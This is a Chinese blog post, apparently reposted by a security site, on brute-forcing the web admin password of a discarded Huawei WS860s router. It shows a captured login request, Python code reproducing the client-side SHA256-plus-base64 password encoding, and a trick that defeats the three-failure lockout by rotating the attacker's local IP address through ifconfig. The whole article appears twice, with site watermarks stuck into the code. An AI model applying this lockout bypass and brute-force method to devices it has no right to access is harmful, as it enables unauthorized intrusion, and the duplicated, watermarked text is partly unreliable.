用Python绕过“登录3次错误,等待一分钟”的限制
在院子里面看到了一个没人用的路由器(ws860s),看起来像个黑科技的玩意儿,就想着进去看看,到底有什么好玩的。看到后面的标签上有web界面的地址,然后登陆进去看看,发现有密码,然后我想,路由器的密码应该都是可以reset的,然后我就用笔戳那个reset键,奇迹没有发生,原来这个reset键坏了。
晕,心想web界面还可以进去,而且无线wifi也可以看到SSID,应该主要功能还是可以用的。功能看起来挺多的,所以就想看看,在网上查找通用密码找了好多,一一尝试过,都没有用。那么就用最没技术含量的爆破试试。
分析过程
抓包
1、打开路由的web页面:192.168.3.1,路由器返回
会得到csrf和cookie和所需要的值,这些值都要保留下来,后面会用。
2、输入用户名密码后:
user:admin
pass:87654321
POST /api/system/user_login HTTP/1.1
Host: 192.168.3.1
Connection: keep-alive
Content-Length: 234
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.3.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
Content-Type: application/json;charset=UTF-8
Referer: http://192.168.3.1/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: SessionID_R3=0t+W065cW7DGrInE3k1lqW3VNRR4cszfo3SLhRUloQDhd05Ol1iFIkrgoXkIILigFdsFyxtWWiziYrf4Dj7+LJZnD1a1J4TaVSnt6dGrzeHrdSKZG0Q70OYF6k7RyPa; username=admin
{"csrf":{"csrf_param":"nqVHIs3gM3IpAXFgmo5Sxin67E/MToI","csrf_token":"aqB57PLGqlN//9W9KtwKGIZzmdUauIc"},"data":{"UserName":"admin","Password":"ZTI0ZGY5MjAwNzhjM2RkNGU3ZThkMjQ0MmYwMGU1YzlhYjJhMjMxYmIzOTE4ZDY1Y2M1MDkwNmU0OWVjYWVmNA=="}}
3、路由器返回数据
{"errorCategory":"user_pass_err","csrf_param":"gn73LuAQ4GxsQkWLdpDVSDKcxinFbli","count":1,"csrf_token":"gu/bK/YjwYBL/uFQEA+v1W2oOz5fARI"}
密码的生成方法
从上面抓包的结果来看,Password字段是经过加密的,所以如果我们要暴力破解,需要把这个password的生成算法找出来。
打开web登录页面,查看源代码,找找算法
在web页面包含的js文件中,找到了UserName和Password的生成方案。
password_str = base64Encode(SHA256(password));
def encrpyt_password(my_org_pass):
hash_256 = hashlib.sha256()
hash_str = my_org_pass
hash_256.update(hash_str.encode('utf-8'))
hash_256_value = hash_256.hexdigest()
encodestr = base64.b64encode(hash_256_value.encode('utf-8'))
pass;
登录的限制
连续登录3次错误密码,会在1分钟之内无法登录。
绕过3次错误密码,等待一分钟的限制
在这里我使用修改IP地址的方式来加快暴力破解的速度。原理就是当一个ip地址的登录次数超过3次时,那就换下一个IP来登录页面,253个ip,每个ip可以过3个密码,253*3 = 759,每次可以测试759个密码,2分钟能过759个,1天1440分钟能测试54万多点密码,如果密码不复杂,差不多是可以跑出来的。
在linux上修改ip地址,很简单一条命令就可以解决:
def change_my_ip(c_ip):
ip_last=c_ip
cmd = 'ifconfig eth1 192.168.3.' + str(ip_last);
a = os.popen(cmd);
pass;
提示内容:
密码错误的提示文本:
[password:bbbbbbbb];{"errorCategory":"user_pass_err","csrf_param":"FcnG919l8J7XhQsOYQEMS3WhsC2liSX","count":2,"csrf_token":"IQ/LfSZSx7gTp6VflYnZelobNSpoMy2"}
ip地址被限制,需要等待1分钟的提示:
[password:aaaaaaaa];{"errorCategory":"Three_time_err","csrf_param":"VKGTylVILQA9SFsTyYdpkHv8qfJPIIw","count":3,"csrf_token":"MTQLBcWQN+1DJjAP+A6xC4AUSXciBod"}
登录成功的提示:
****[password:xxxxxxxx];{"csrf_param":"H/DyWxogz7+2y4UfzhqddowkjH1uL04","csrf_token":"MorgBb0+PNpoE8KhwBwq4OoioD2NcCs","errorCategory":"ok","level":2,"IsWizard":true,"IsFirst":true}
在院子里面看到了一个没人用的路由器(ws860s),看起来像个黑科技的玩意儿,就想着进去看看,到底有什么好玩的。看到后面的标签上有web界面的地址,然后登陆进去看看,发现有密码,然后我想,路由器的密码应该都是可以reset的,然后我就用笔戳那个reset键,奇迹没有发生,原来这个reset键坏了。
晕,心想web界面还可以进去,而且无线wifi也可以看到SSID,应该主要功能还是可以用的。功能看起来挺多的,所以就想看看,在网上查找通用密码找了好多,一一尝试过,都没有用。那么就用最没技术含量的爆破试试。
分析过程
抓包
1、打开路由的web页面:192.168.3.1,路由器返回
会得到csrf和cookie和所需要的值,这些值都要保留下来,后面会用。
2、输入用户名密码后:
user:admin
pass:87654321
POST /api/system/user_login HTTP/1.1
Host: 192.168.3.1
Connection: keep-alive
Content-Length: 234
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.3.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
Content-Type: application/json;charset=UTF-8
Referer: http://192.168.3.1/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: SessionID_R3=0t+W065cW7DGrInE3k1lqW3VNRR4cszfo3SLhRUloQDhd05Ol1iFIkrgoXkIILigFdsFyxtWWiziYrf4Dj7+LJZnD1a1J4TaVSnt6dGrzeHrdSKZG0Q70OYF6k7RyPa; username=admin 内容来自无奈安全网
{"csrf":{"csrf_param":"nqVHIs3gM3IpAXFgmo5Sxin67E/MToI","csrf_token":"aqB57PLGqlN//9W9KtwKGIZzmdUauIc"},"data":{"UserName":"admin","Password":"ZTI0ZGY5MjAwNzhjM2RkNGU3ZThkMjQ0MmYwMGU1YzlhYjJhMjMxYmIzOTE4ZDY1Y2M1MDkwNmU0OWVjYWVmNA=="}}
3、路由器返回数据
{"errorCategory":"user_pass_err","csrf_param":"gn73LuAQ4GxsQkWLdpDVSDKcxinFbli","count":1,"csrf_token":"gu/bK/YjwYBL/uFQEA+v1W2oOz5fARI"}
密码的生成方法
从上面抓包的结果来看,Password字段是经过加密的,所以如果我们要暴力破解,需要把这个password的生成算法找出来。
打开web登录页面,查看源代码,找找算法
在web页面包含的js文件中,找到了UserName和Password的生成方案。
password_str = base64Encode(SHA256(password));
无奈人生安全网
def encrpyt_password(my_org_pass):
hash_256 = hashlib.sha256()
hash_str = my_org_pass
hash_256.update(hash_str.encode('utf-8'))
hash_256_value = hash_256.hexdigest()
encodestr = base64.b64encode(hash_256_value.encode('utf-8'))
pass;
登录的限制
连续登录3次错误密码,会在1分钟之内无法登录。
绕过3次错误密码,等待一分钟的限制
在这里我使用修改IP地址的方式来加快暴力破解的速度。原理就是当一个ip地址的登录次数超过3次时,那就换下一个IP来登录页面,253个ip,每个ip可以过3个密码,253*3 = 759,每次可以测试759个密码,2分钟能过759个,1天1440分钟能测试54万多点密码,如果密码不复杂,差不多是可以跑出来的。
在linux上修改ip地址,很简单一条命令就可以解决:
def change_my_ip(c_ip):
ip_last=c_ip
cmd = 'ifconfig eth1 192.168.3.' + str(ip_last);
a = os.popen(cmd);
pass; www.wnhack.com
提示内容:
密码错误的提示文本:
[password:bbbbbbbb];{"errorCategory":"user_pass_err","csrf_param":"FcnG919l8J7XhQsOYQEMS3WhsC2liSX","count":2,"csrf_token":"IQ/LfSZSx7gTp6VflYnZelobNSpoMy2"}
ip地址被限制,需要等待1分钟的提示:
[password:aaaaaaaa];{"errorCategory":"Three_time_err","csrf_param":"VKGTylVILQA9SFsTyYdpkHv8qfJPIIw","count":3,"csrf_token":"MTQLBcWQN+1DJjAP+A6xC4AUSXciBod"}
登录成功的提示:
****[password:xxxxxxxx];{"csrf_param":"H/DyWxogz7+2y4UfzhqddowkjH1uL04","csrf_token":"MorgBb0+PNpoE8KhwBwq4OoioD2NcCs","errorCategory":"ok","level":2,"IsWizard":true,"IsFirst":true}
本文来自无奈人生安全网